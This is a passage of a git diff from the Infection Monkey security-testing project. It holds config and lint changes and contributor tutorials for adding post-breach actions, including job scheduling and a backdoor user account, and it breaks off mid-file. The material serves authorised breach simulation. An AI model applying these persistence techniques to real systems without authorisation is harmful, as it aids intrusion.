diff --git a/ci_scripts/flake8_linter_check.ini b/.flake8 similarity index 50% rename from ci_scripts/flake8_linter_check.ini rename to .flake8 index b8daeaf70..97d903b8f 100644 --- a/ci_scripts/flake8_linter_check.ini +++ b/.flake8 @@ -1,15 +1,17 @@ [flake8] ## Warn about linter issues. -exclude = ../monkey/monkey_island/cc/ui, - ../monkey/common/cloud +exclude = monkey/monkey_island/cc/ui,vulture_allowlist.py show-source = True max-complexity = 10 -max-line-length = 127 +max-line-length = 100 + +### ignore "whitespace before ':'", "line break before binary operator" for +### compatibility with black, and cyclomatic complexity (for now). +extend-ignore = E203, W503, C901 ### --statistics Count the number of occurrences of each error/warning code and print a report. statistics = True ### --count will print the total number of errors. count = True - diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 000000000..807ae6822 --- /dev/null +++ b/.gitattributes @@ -0,0 +1,4 @@ +monkey/tests/data_for_tests/ransomware_targets/** -text +monkey/tests/data_for_tests/test_readme.txt -text +monkey/tests/data_for_tests/stable_file.txt -text +monkey/infection_monkey/ransomware/ransomware_readme.txt -text diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md index d5b8193ff..33960d9f2 100644 --- a/.github/PULL_REQUEST_TEMPLATE.md +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -7,6 +7,7 @@ Add any further explanations here. ## PR Checklist * [ ] Have you added an explanation of what your changes do and why you'd like to include them? * [ ] Is the TravisCI build passing? +* [ ] Was the CHANGELOG.md updated to reflect the changes? * [ ] Was the documentation framework updated to reflect the changes? ## Testing Checklist diff --git a/.gitignore b/.gitignore index 76e08185b..c6a702e86 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,6 @@ # Intellij .idea/ +.run/ # Byte-compiled / optimized / DLL files __pycache__/ @@ -81,9 +82,10 @@ MonkeyZoo/* !MonkeyZoo/README.MD !MonkeyZoo/config.tf !MonkeyZoo/MonkeyZooDocs.pdf +monkey/logs # Exported monkey telemetries -/monkey/telem_sample/ +/envs/monkey_zoo/blackbox/tests/performance/telemetry_sample/ # Profiling logs profiler_logs/ diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml new file mode 100644 index 000000000..75c0ea28f --- /dev/null +++ b/.pre-commit-config.yaml @@ -0,0 +1,54 @@ +default_stages: [commit] +repos: + - repo: https://github.com/pycqa/isort + rev: 5.8.0 + hooks: + - id: isort + name: isort (python) + - id: isort + name: isort (cython) + types: [cython] + - id: isort + name: isort (pyi) + types: [pyi] + - repo: https://github.com/psf/black + rev: 20.8b1 + hooks: + - id: black + - repo: https://gitlab.com/pycqa/flake8 + rev: 3.9.1 + hooks: + - id: flake8 + additional_dependencies: [dlint] + - repo: https://github.com/pre-commit/pre-commit-hooks + rev: v3.4.0 + hooks: + - id: check-added-large-files + - id: check-case-conflict + - id: check-json + - id: check-merge-conflict + - id: detect-private-key + - id: end-of-file-fixer + - id: trailing-whitespace + - repo: https://github.com/eslint/eslint + rev: v7.24.0 + hooks: + - id: eslint + args: ["monkey/monkey_island/cc/ui/src/", "--fix", "--max-warnings=0"] + - repo: local + hooks: + - id: pytest + name: pytest + entry: bash -c "cd monkey && pytest" + language: system + files: "monkey/" + exclude: "monkey/monkey_island/cc/ui" + stages: [push] + - repo: https://github.com/swimmio/pre-commit + rev: v0.2 + hooks: + - id: swimm-verify + - repo: https://github.com/jendrikseipp/vulture + rev: v2.3 + hooks: + - id: vulture diff --git a/.swm/AzD8XysWg1BBXCjCDkfq.swm b/.swm/AzD8XysWg1BBXCjCDkfq.swm index 83958e466..29ad78526 100644 --- a/.swm/AzD8XysWg1BBXCjCDkfq.swm +++ b/.swm/AzD8XysWg1BBXCjCDkfq.swm @@ -1,92 +1,86 @@ { "id": "AzD8XysWg1BBXCjCDkfq", "name": "Add a new configuration setting to the Agent ⚙", - "dod": "Make the max victim number that Monkey will find before stopping configurable by the user instead of constant.", - "description": "# Make something configurable\n\nIn this unit, you will learn how to add a configuration option to Monkey and how to use it in the Monkey Agent code. \n\n![computer fire](https://media.giphy.com/media/7J4P7cUur2DlErijp3/giphy.gif \"computer fire\")\n\n## Why is this important?\n\nEnabling users to configure the Monkey's behaviour gives them a lot more freedom in how they want to use the Monkey and enables more use cases.\n\n## What is \"Max victims to find\"?\n\nThe Monkey has a function which finds \"victim\" machines on the network for the Monkey to try and exploit. It's called `get_victim_machines`. This function accepts an argument which limits how many machines the Monkey should find.\n\nWe want to make that value editable by the user instead of constant in the code.\n\n## Manual testing\n\n1. After you've performed the required changes, reload the Server and check your value exists in the Internal tab of the config (see image).\n\n![](https://i.imgur.com/e0XAxuV.png)\n\n2. Set the new value to 1, and run Monkey locally (from source). See that the Monkey only scans one machine.", - "summary": "* When changing config schema by adding or deleting keys, you need to update the Blackbox Test configurations as well [here](https://github.com/guardicore/monkey/tree/develop/envs/monkey_zoo/blackbox/island_configs).", - "hunksOrder": [ - "monkey/infection_monkey/config.py_0", - "monkey/infection_monkey/monkey.py_0", - "monkey/monkey_island/cc/services/config_schema/internal.py_0" - ], - "tests": [], - "hints": [ - "Look for `victims_max_exploit` - it's rather similar." - ], - "play_mode": "all", - "swimmPatch": { - "monkey/infection_monkey/config.py": { - "diffType": "MODIFIED", - "fileDiffHeader": "diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py\nindex 1fbcb876..67ed19de 100644\n--- a/monkey/infection_monkey/config.py\n+++ b/monkey/infection_monkey/config.py", - "hunks": [ - { - "swimmHunkMetadata": { - "hunkComments": [] - }, - "hunkDiffLines": [ - "@@ -131,8 +131,6 @@", - " exploiter_classes = []\r", - " system_info_collector_classes = []\r", - " \r", - "- # how many victims to look for in a single scan iteration\r", - "- victims_max_find = 100\r", - " \r", - " # how many victims to exploit before stopping\r", - " victims_max_exploit = 100\r" - ] - } - ] - }, - "monkey/infection_monkey/monkey.py": { - "diffType": "MODIFIED", - "fileDiffHeader": "diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py\nindex 444bde45..ff23f671 100644\n--- a/monkey/infection_monkey/monkey.py\n+++ b/monkey/infection_monkey/monkey.py", - "hunks": [ - { - "swimmHunkMetadata": { - "hunkComments": [] - }, - "hunkDiffLines": [ - "@@ -159,8 +159,6 @@", - " if not self._keep_running or not WormConfiguration.alive:\r", - " break\r", - " \r", - "- machines = self._network.get_victim_machines(max_find=WormConfiguration.victims_max_find,\r", - "- stop_callback=ControlClient.check_for_stop)\r", - " is_empty = True\r", - " for machine in machines:\r", - " if ControlClient.check_for_stop():\r" - ] - } - ] - }, - "monkey/monkey_island/cc/services/config_schema/internal.py": { - "diffType": "MODIFIED", - "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py\nindex bdbae246..d6042d35 100644\n--- a/monkey/monkey_island/cc/services/config_schema/internal.py\n+++ b/monkey/monkey_island/cc/services/config_schema/internal.py", - "hunks": [ - { - "swimmHunkMetadata": { - "hunkComments": [] - }, - "hunkDiffLines": [ - "@@ -40,12 +40,6 @@", - " \"title\": \"Monkey\",\r", - " \"type\": \"object\",\r", - " \"properties\": {\r", - "- \"victims_max_find\": {\r", - "- \"title\": \"Max victims to find\",\r", - "- \"type\": \"integer\",\r", - "- \"default\": 100,\r", - "- \"description\": \"Determines the maximum number of machines the monkey is allowed to scan\"\r", - "- },\r", - " \"victims_max_exploit\": {\r", - " \"title\": \"Max victims to exploit\",\r", - " \"type\": \"integer\",\r" - ] - } - ] - } + "task": { + "dod": "Make the max victim number that Monkey will find before stopping configurable by the user instead of constant.", + "tests": [], + "hints": [ + "Look for `victims_max_exploit` - it's rather similar." + ] }, - "app_version": "0.3.5-1", - "file_version": "1.0.4", - "last_commit_sha_for_swimm_patch": "17ee823b086f0b027612e2d1864930d2c5593c3e" -} \ No newline at end of file + "content": [ + { + "type": "text", + "text": "# Make something configurable\n\nIn this unit, you will learn how to add a configuration option to Monkey and how to use it in the Monkey Agent code. \n\n![computer fire](https://media.giphy.com/media/7J4P7cUur2DlErijp3/giphy.gif \"computer fire\")\n\n## Why is this important?\n\nEnabling users to configure the Monkey's behaviour gives them a lot more freedom in how they want to use the Monkey and enables more use cases.\n\n## What is \"Max victims to find\"?\n\nThe Monkey has a function which finds \"victim\" machines on the network for the Monkey to try and exploit. It's called `get_victim_machines`. This function accepts an argument which limits how many machines the Monkey should find.\n\nWe want to make that value editable by the user instead of constant in the code.\n\n## Manual testing\n\n1. After you've performed the required changes, reload the Server and check your value exists in the Internal tab of the config (see image).\n\n![](https://i.imgur.com/e0XAxuV.png)\n\n2. Set the new value to 1, and run Monkey locally (from source). See that the Monkey only scans one machine." + }, + { + "type": "snippet", + "path": "monkey/infection_monkey/config.py", + "comments": [], + "firstLineNumber": 124, + "lines": [ + " exploiter_classes = []", + " system_info_collector_classes = []", + " ", + "* # how many victims to look for in a single scan iteration\r", + "* victims_max_find = 100\r", + " ", + " # how many victims to exploit before stopping", + " victims_max_exploit = 100" + ] + }, + { + "type": "snippet", + "path": "monkey/infection_monkey/monkey.py", + "comments": [], + "firstLineNumber": 220, + "lines": [ + " if not self._keep_running or not WormConfiguration.alive:", + " break", + " ", + "* machines = self._network.get_victim_machines(", + "* max_find=WormConfiguration.victims_max_find,", + "* stop_callback=ControlClient.check_for_stop,", + "* )", + " is_empty = True", + " for machine in machines:", + " if ControlClient.check_for_stop():" + ] + }, + { + "type": "snippet", + "path": "monkey/monkey_island/cc/services/config_schema/internal.py", + "comments": [], + "firstLineNumber": 42, + "lines": [ + " \"title\": \"Monkey\",", + " \"type\": \"object\",", + " \"properties\": {", + "* \"victims_max_find\": {", + "* \"title\": \"Max victims to find\",", + "* \"type\": \"integer\",", + "* \"default\": 100,", + "* \"description\": \"Determines the maximum number of machines the monkey is \"", + "* \"allowed to scan\",", + "* },", + " \"victims_max_exploit\": {", + " \"title\": \"Max victims to exploit\",", + " \"type\": \"integer\"," + ] + }, + { + "type": "text", + "text": "* When changing config schema by adding or deleting keys, you need to update the Blackbox Test configurations as well [here](https://github.com/guardicore/monkey/tree/develop/envs/monkey_zoo/blackbox/config_templates)." + } + ], + "symbols": {}, + "file_version": "2.0.1", + "meta": { + "app_version": "0.4.9-1", + "file_blobs": { + "monkey/infection_monkey/config.py": "0bede1c57949987f5c8025bd9b8f7aa29d02a6af", + "monkey/infection_monkey/monkey.py": "89d2fa8452dee70f6d2985a9bb452f0159ea8219", + "monkey/monkey_island/cc/services/config_schema/internal.py": "1ce1c864b1df332b65e16b4ce9ed533affd73f9c" + } + } +} diff --git a/.swm/JFXftJml8DpmuCPBA9rL.swm b/.swm/JFXftJml8DpmuCPBA9rL.swm index d0206a862..925e662f9 100644 --- a/.swm/JFXftJml8DpmuCPBA9rL.swm +++ b/.swm/JFXftJml8DpmuCPBA9rL.swm @@ -1,54 +1,52 @@ { "id": "JFXftJml8DpmuCPBA9rL", "name": "Add details about your new PBA", - "dod": "You should add your new PBA's details to the configuration.", - "description": "In order to make sure that the new `ScheduleJobs` PBA is shown in the configuration on the Monkey Island, you need to add its details to the configuration file(s).

\n\nSince this particular PBA is related to the MITRE techniques [T1168](https://attack.mitre.org/techniques/T1168) and [T1053](https://attack.mitre.org/techniques/T1053), make sure to link the PBA with these techniques in the configuration as well.

\n\nEach part of the configuration has an important role \n- *enum* — contains the relevant PBA's class name(s)\n- *title* — holds the name of the PBA which is displayed in the configuration on the Monkey Island\n- *info* — consists of an elaboration on the PBA's working which is displayed in the configuration on the Monkey Island\n- *attack_techniques* — has the IDs of the MITRE techniques associated with the PBA\n\n## Manual test \nOnce you think you're done...\n- Run the Monkey Island\n- You should be able to see your new PBA under the \"Monkey\" tab in the configuration, along with its information when you click on it\n- Further, when you enable/disable the associated MITRE techniques under the ATT&CK tab in the configuration, the PBA should also be enabled/disabled\n\n", - "summary": "- The PBA details in this file are reflected on the Monkey Island in the PBA configuration.\n- PBAs are also linked to the relevant MITRE techniques in this file, whose results can then be seen in the MITRE ATT&CK report on the Monkey Island.", - "hunksOrder": [ - "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py_0" - ], - "tests": [], - "hints": [ - "Have a look at the details of the other techniques." - ], - "play_mode": "all", - "swimmPatch": { - "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": { - "diffType": "MODIFIED", - "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py\nindex f1fe0f6f..b231f96c 100644\n--- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py\n+++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", - "hunks": [ - { - "swimmHunkMetadata": { - "hunkComments": [] - }, - "hunkDiffLines": [ - "@@ -68,16 +68,7 @@", - " \"Removes the file afterwards.\",", - " \"attack_techniques\": [\"T1166\"]", - " },", - "- {", - "+ # Swimmer: ADD DETAILS HERE!", - "- \"type\": \"string\",", - "- \"enum\": [", - "- \"ScheduleJobs\"", - "- ],", - "- \"title\": \"Job scheduling\",", - "- \"safe\": True,", - "- \"info\": \"Attempts to create a scheduled job on the system and remove it.\",", - "- \"attack_techniques\": [\"T1168\", \"T1053\"]", - "- },", - " {", - " \"type\": \"string\",", - " \"enum\": [" - ] - } - ] - } + "task": { + "dod": "You should add your new PBA's details to the configuration.", + "tests": [], + "hints": [ + "Have a look at the details of the other techniques." + ] }, - "app_version": "0.3.5-1", - "file_version": "1.0.4", - "hunksOrder": [ - "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py_0" + "content": [ + { + "type": "text", + "text": "In order to make sure that the new `ScheduleJobs` PBA is shown in the configuration on the Monkey Island, you need to add its details to the configuration file(s).

\n\nSince this particular PBA is related to the MITRE techniques [T1168](https://attack.mitre.org/techniques/T1168) and [T1053](https://attack.mitre.org/techniques/T1053), make sure to link the PBA with these techniques in the configuration as well.

\n\nEach part of the configuration has an important role \n- *enum* — contains the relevant PBA's class name(s)\n- *title* — holds the name of the PBA which is displayed in the configuration on the Monkey Island\n- *info* — consists of an elaboration on the PBA's working which is displayed in the configuration on the Monkey Island\n- *attack_techniques* — has the IDs of the MITRE techniques associated with the PBA\n\n## Manual test \nOnce you think you're done...\n- Run the Monkey Island\n- You should be able to see your new PBA under the \"Monkey\" tab in the configuration, along with its information when you click on it\n- Further, when you enable/disable the associated MITRE techniques under the ATT&CK tab in the configuration, the PBA should also be enabled/disabled\n\n" + }, + { + "type": "snippet", + "path": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", + "comments": [], + "firstLineNumber": 56, + "lines": [ + " \"Removes the file afterwards.\",", + " \"attack_techniques\": [\"T1166\"],", + " },", + "* {", + "+ # Swimmer: ADD DETAILS HERE!", + "* \"type\": \"string\",", + "* \"enum\": [\"ScheduleJobs\"],", + "* \"title\": \"Job scheduling\",", + "* \"safe\": True,", + "* \"info\": \"Attempts to create a scheduled job on the system and remove it.\",", + "* \"attack_techniques\": [\"T1168\", \"T1053\"],", + "* },", + " {", + " \"type\": \"string\",", + " \"enum\": [\"Timestomping\"]," + ] + }, + { + "type": "text", + "text": "- The PBA details in this file are reflected on the Monkey Island in the PBA configuration.\n- PBAs are also linked to the relevant MITRE techniques in this file, whose results can then be seen in the MITRE ATT&CK report on the Monkey Island." + } ], - "last_commit_sha_for_swimm_patch": "9d9e8168fb2c23367b9947273aa1a041687b3e2e" -} \ No newline at end of file + "symbols": {}, + "file_version": "2.0.1", + "meta": { + "app_version": "0.4.1-1", + "file_blobs": { + "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "ea9b18aba7f71da12c9c82ac39d8a0cf2c472a9c" + } + } +} diff --git a/.swm/OwcKMnALpn7tuBaJY1US.swm b/.swm/OwcKMnALpn7tuBaJY1US.swm index 0640f1c37..7c3a32862 100644 --- a/.swm/OwcKMnALpn7tuBaJY1US.swm +++ b/.swm/OwcKMnALpn7tuBaJY1US.swm @@ -37,7 +37,7 @@ "firstLineNumber": 1, "lines": [ " import logging", - "*import socket", + " import socket", "*", "*from common.common_consts.system_info_collectors_names import HOSTNAME_COLLECTOR", "*from infection_monkey.system_info.system_info_collector import SystemInfoCollector", @@ -58,13 +58,13 @@ "type": "snippet", "path": "monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py", "comments": [], - "firstLineNumber": 1, + "firstLineNumber": 4, "lines": [ - " from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, AZURE_CRED_COLLECTOR,\r", - "* ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR,\r", - " MIMIKATZ_COLLECTOR, PROCESS_LIST_COLLECTOR)\r", - " \r", - " SYSTEM_INFO_COLLECTOR_CLASSES = {\r" + " ENVIRONMENT_COLLECTOR,", + "* HOSTNAME_COLLECTOR,", + " MIMIKATZ_COLLECTOR,", + " PROCESS_LIST_COLLECTOR,", + " )" ] }, { @@ -73,23 +73,21 @@ "comments": [], "firstLineNumber": 37, "lines": [ - " \"info\": \"If on AWS, collects more information about the AWS instance currently running on.\",", - " \"attack_techniques\": [\"T1082\"]", + " \"currently running on.\",", + " \"attack_techniques\": [\"T1082\"],", " },", "* {", "+ # SWIMMER: Collector config goes here. Tip: Hostname collection relates to the T1082 and T1016 techniques.", "* \"type\": \"string\",", - "* \"enum\": [", - "* HOSTNAME_COLLECTOR", - "* ],", + "* \"enum\": [HOSTNAME_COLLECTOR],", "* \"title\": \"Hostname collector\",", "* \"safe\": True,", "* \"info\": \"Collects machine's hostname.\",", - "* \"attack_techniques\": [\"T1082\", \"T1016\"]", + "* \"attack_techniques\": [\"T1082\", \"T1016\"],", "* },", " {", " \"type\": \"string\",", - " \"enum\": [" + " \"enum\": [PROCESS_LIST_COLLECTOR]," ] }, { @@ -98,20 +96,21 @@ "comments": [], "firstLineNumber": 1, "lines": [ - " from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, AZURE_CRED_COLLECTOR,", - " ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR,", - " MIMIKATZ_COLLECTOR, PROCESS_LIST_COLLECTOR)", - "* HOSTNAME_COLLECTOR,", - " MONKEY = {", - " \"title\": \"Monkey\",", - " \"type\": \"object\"," + " from common.common_consts.system_info_collectors_names import (", + " AWS_COLLECTOR,", + " AZURE_CRED_COLLECTOR,", + " ENVIRONMENT_COLLECTOR,", + "* HOSTNAME_COLLECTOR,", + " MIMIKATZ_COLLECTOR,", + " PROCESS_LIST_COLLECTOR,", + " )" ] }, { "type": "snippet", "path": "monkey/monkey_island/cc/services/config_schema/monkey.py", "comments": [], - "firstLineNumber": 85, + "firstLineNumber": 92, "lines": [ " \"default\": [", " ENVIRONMENT_COLLECTOR,", @@ -119,7 +118,7 @@ "* HOSTNAME_COLLECTOR,", " PROCESS_LIST_COLLECTOR,", " MIMIKATZ_COLLECTOR,", - " AZURE_CRED_COLLECTOR" + " AZURE_CRED_COLLECTOR," ] }, { @@ -148,26 +147,26 @@ "comments": [], "firstLineNumber": 1, "lines": [ - " import logging\r", - " import typing\r", - " \r", - "*from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR,\r", - " PROCESS_LIST_COLLECTOR)\r", - " from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import process_aws_telemetry\r", - " from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import \\\r" + " import logging", + " import typing", + " ", + " from common.common_consts.system_info_collectors_names import (", + " AWS_COLLECTOR,", + " ENVIRONMENT_COLLECTOR,", + "* HOSTNAME_COLLECTOR," ] }, { "type": "snippet", "path": "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py", "comments": [], - "firstLineNumber": 14, + "firstLineNumber": 25, "lines": [ " SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS = {", " AWS_COLLECTOR: [process_aws_telemetry],", " ENVIRONMENT_COLLECTOR: [process_environment_telemetry],", "* HOSTNAME_COLLECTOR: [process_hostname_telemetry],", - " PROCESS_LIST_COLLECTOR: [check_antivirus_existence]", + " PROCESS_LIST_COLLECTOR: [check_antivirus_existence],", " }", " " ] @@ -175,15 +174,18 @@ { "type": "snippet", "lines": [ - " from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import process_aws_telemetry\r", - " from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import \\\r", - " process_environment_telemetry\r", - "*from monkey_island.cc.services.telemetry.processing.system_info_collectors.hostname import process_hostname_telemetry\r", - " from monkey_island.cc.services.telemetry.zero_trust_checks.antivirus_existence import check_antivirus_existence\r", - " \r", - " logger = logging.getLogger(__name__)\r" + " )", + " from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import (", + " process_environment_telemetry,", + " )", + "*from monkey_island.cc.services.telemetry.processing.system_info_collectors.hostname import (", + "* process_hostname_telemetry,", + "*)", + " from monkey_island.cc.services.telemetry.zero_trust_checks.antivirus_existence import (", + " check_antivirus_existence,", + " )" ], - "firstLineNumber": 6, + "firstLineNumber": 12, "path": "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py", "comments": [] }, @@ -192,9 +194,17 @@ "text": "System info collectors are useful to get more data for various things, such as ZT tests or MITRE techniques. Take a look at some other techniques!" } ], - "file_version": "2.0.0", + "symbols": {}, + "file_version": "2.0.1", "meta": { - "app_version": "0.3.7-0", - "file_blobs": {} + "app_version": "0.4.4-0", + "file_blobs": { + "monkey/common/common_consts/system_info_collectors_names.py": "175a054e1408805a4cebbe27e2f9616db40988cf", + "monkey/infection_monkey/system_info/collectors/hostname_collector.py": "0aeecd9fb7bde83cccd4501ec03e0da199ec5fc3", + "monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py": "9a4a39050eb088876df4fa629e14faf820e714a0", + "monkey/monkey_island/cc/services/config_schema/monkey.py": "e745da5828c63e975625ac2e9b80ce9626324970", + "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py": "e2de4519cbd71bba70e81cf3ff61817437d95a21", + "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py": "7ce4b6fcfbce0d6cd8a60297213c5be1699b22df" + } } -} \ No newline at end of file +} diff --git a/.swm/VW4rf3AxRslfT7lwaug7.swm b/.swm/VW4rf3AxRslfT7lwaug7.swm index 7af1a816c..79d9deb21 100644 --- a/.swm/VW4rf3AxRslfT7lwaug7.swm +++ b/.swm/VW4rf3AxRslfT7lwaug7.swm @@ -1,51 +1,54 @@ { "id": "VW4rf3AxRslfT7lwaug7", "name": "Implement a new PBA — `ScheduleJobs`", - "dod": "You should implement a new PBA in Monkey which schedules jobs on the machine.", - "description": "You need to implement the `ScheduleJobs` PBA which creates scheduled jobs on the machine.

\n

\nThe commands that add scheduled jobs for Windows and Linux can be retrieved from `get_commands_to_schedule_jobs` — make sure you understand how to use this function correctly.\n\n## Manual test \nOnce you think you're done...\n- Run the Monkey Island\n- Make sure the \"Job scheduling\" PBA is enabled in the \"Monkey\" tab in the configuration — for this test, disable network scanning, exploiting, and all other PBAs\n- Run the Monkey\n- Make sure you see the PBA with its results in the Security report as well as in the ATT&CK report under the relevant MITRE technique\n\n\n

\n", - "summary": "Many other PBAs are as simple as this one, using shell commands or scripts — see `Timestomping` and `AccountDiscovery`.

\n\nHowever, for less straightforward ones, you can override functions and implement new classes depending on what is required — see `SignedScriptProxyExecution` and `ModifyShellStartupFiles`.

\n\nThis PBA, along with all the other PBAs, will run on a system after it has been breached. The purpose of this code is to test whether target systems allow attackers to schedule jobs, which they could use to run malicious code at some specified date and time.", - "hunksOrder": [ - "monkey/infection_monkey/post_breach/actions/schedule_jobs.py_0" - ], - "tests": [], - "hints": [ - "Check out the `Timestomping` PBA to get an idea about the implementation.", - "Don't forget to add code to remove the scheduled jobs!" - ], - "play_mode": "all", - "swimmPatch": { - "monkey/infection_monkey/post_breach/actions/schedule_jobs.py": { - "diffType": "MODIFIED", - "fileDiffHeader": "diff --git a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py\nindex f7d8d805..06839463 100644\n--- a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py\n+++ b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py", - "hunks": [ - { - "swimmHunkMetadata": { - "hunkComments": [] - }, - "hunkDiffLines": [ - "@@ -10,11 +10,5 @@", - " \"\"\"", - " ", - " def __init__(self):", - "- linux_cmds, windows_cmds = get_commands_to_schedule_jobs()", - "+ pass", - "-", - "+ # Swimmer: IMPLEMENT HERE!", - "- super(ScheduleJobs, self).__init__(name=POST_BREACH_JOB_SCHEDULING,", - "- linux_cmd=' '.join(linux_cmds),", - "- windows_cmd=windows_cmds)", - "- ", - "- def run(self):", - "- super(ScheduleJobs, self).run()" - ] - } - ] - } + "task": { + "dod": "You should implement a new PBA in Monkey which schedules jobs on the machine.", + "tests": [], + "hints": [ + "Check out the `Timestomping` PBA to get an idea about the implementation.", + "Don't forget to add code to remove the scheduled jobs!" + ] }, - "app_version": "0.3.5-1", - "file_version": "1.0.4", - "hunksOrder": [ - "monkey/infection_monkey/post_breach/actions/schedule_jobs.py_0" + "content": [ + { + "type": "text", + "text": "You need to implement the `ScheduleJobs` PBA which creates scheduled jobs on the machine.

\n

\nThe commands that add scheduled jobs for Windows and Linux can be retrieved from `get_commands_to_schedule_jobs` — make sure you understand how to use this function correctly.\n\n## Manual test \nOnce you think you're done...\n- Run the Monkey Island\n- Make sure the \"Job scheduling\" PBA is enabled in the \"Monkey\" tab in the configuration — for this test, disable network scanning, exploiting, and all other PBAs\n- Run the Monkey\n- Make sure you see the PBA with its results in the Security report as well as in the ATT&CK report under the relevant MITRE technique\n\n\n

\n" + }, + { + "type": "snippet", + "path": "monkey/infection_monkey/post_breach/actions/schedule_jobs.py", + "comments": [], + "firstLineNumber": 12, + "lines": [ + " \"\"\"", + " ", + " def __init__(self):", + "* linux_cmds, windows_cmds = get_commands_to_schedule_jobs()", + "+ pass", + "*", + "+ # Swimmer: IMPLEMENT HERE!", + "* super(ScheduleJobs, self).__init__(", + "* name=POST_BREACH_JOB_SCHEDULING,", + "* linux_cmd=\" \".join(linux_cmds),", + "* windows_cmd=windows_cmds,", + "* )", + "*", + "* def run(self):", + "* super(ScheduleJobs, self).run()", + "* remove_scheduled_jobs()" + ] + }, + { + "type": "text", + "text": "Many other PBAs are as simple as this one, using shell commands or scripts — see `Timestomping` and `AccountDiscovery`.

\n\nHowever, for less straightforward ones, you can override functions and implement new classes depending on what is required — see `SignedScriptProxyExecution` and `ModifyShellStartupFiles`.

\n\nThis PBA, along with all the other PBAs, will run on a system after it has been breached. The purpose of this code is to test whether target systems allow attackers to schedule jobs, which they could use to run malicious code at some specified date and time." + } ], - "last_commit_sha_for_swimm_patch": "44fd1ab69cfbab33cec638dcbbaa8831992a9a9f" -} \ No newline at end of file + "symbols": {}, + "file_version": "2.0.1", + "meta": { + "app_version": "0.4.1-1", + "file_blobs": { + "monkey/infection_monkey/post_breach/actions/schedule_jobs.py": "e7845968a0c27d2eba71a8889645fe88491cb2a8" + } + } +} diff --git a/.swm/tbxb2cGgUiJQ8Btma0fp.swm b/.swm/tbxb2cGgUiJQ8Btma0fp.swm index 255e44a9b..50ad35ca0 100644 --- a/.swm/tbxb2cGgUiJQ8Btma0fp.swm +++ b/.swm/tbxb2cGgUiJQ8Btma0fp.swm @@ -37,20 +37,22 @@ "lines": [ "*from common.common_consts.post_breach_consts import POST_BREACH_BACKDOOR_USER", "*from infection_monkey.config import WormConfiguration", - " from infection_monkey.post_breach.pba import PBA", - " from infection_monkey.utils.users import get_commands_to_add_user", - " ", - " ", - " class BackdoorUser(PBA):", - " def __init__(self):", + "*from infection_monkey.post_breach.pba import PBA", + "*from infection_monkey.utils.random_password_generator import get_random_password", + "*from infection_monkey.utils.users import get_commands_to_add_user", + "*", + "*", + "*class BackdoorUser(PBA):", + "* def __init__(self):", + "* random_password = get_random_password()", + "*", "* linux_cmds, windows_cmds = get_commands_to_add_user(", - "+ pass # Swimmer: Impl here!", - "* WormConfiguration.user_to_add,", - "* WormConfiguration.remote_user_pass)", + "* WormConfiguration.user_to_add, random_password", + "* )", + "*", "* super(BackdoorUser, self).__init__(", - "* POST_BREACH_BACKDOOR_USER,", - "* linux_cmd=' '.join(linux_cmds),", - "* windows_cmd=windows_cmds)" + "* POST_BREACH_BACKDOOR_USER, linux_cmd=\" \".join(linux_cmds), windows_cmd=windows_cmds", + "* )" ] }, { @@ -59,17 +61,17 @@ "comments": [], "firstLineNumber": 1, "lines": [ - "*from common.common_consts.post_breach_consts import POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER\r", - " from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique\r", - " \r", - " __author__ = \"shreyamalviya\"\r" + " from common.common_consts.post_breach_consts import (", + "* POST_BREACH_BACKDOOR_USER,", + " POST_BREACH_COMMUNICATE_AS_NEW_USER,", + " )" ] }, { "type": "snippet", "path": "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py", "comments": [], - "firstLineNumber": 9, + "firstLineNumber": 12, "lines": [ " unscanned_msg = \"Monkey didn't try creating a new user on the network's systems.\"", " scanned_msg = \"Monkey tried creating a new user on the network's systems, but failed.\"", @@ -82,25 +84,23 @@ "type": "snippet", "path": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", "comments": [], - "firstLineNumber": 4, + "firstLineNumber": 5, "lines": [ - " \"might do after 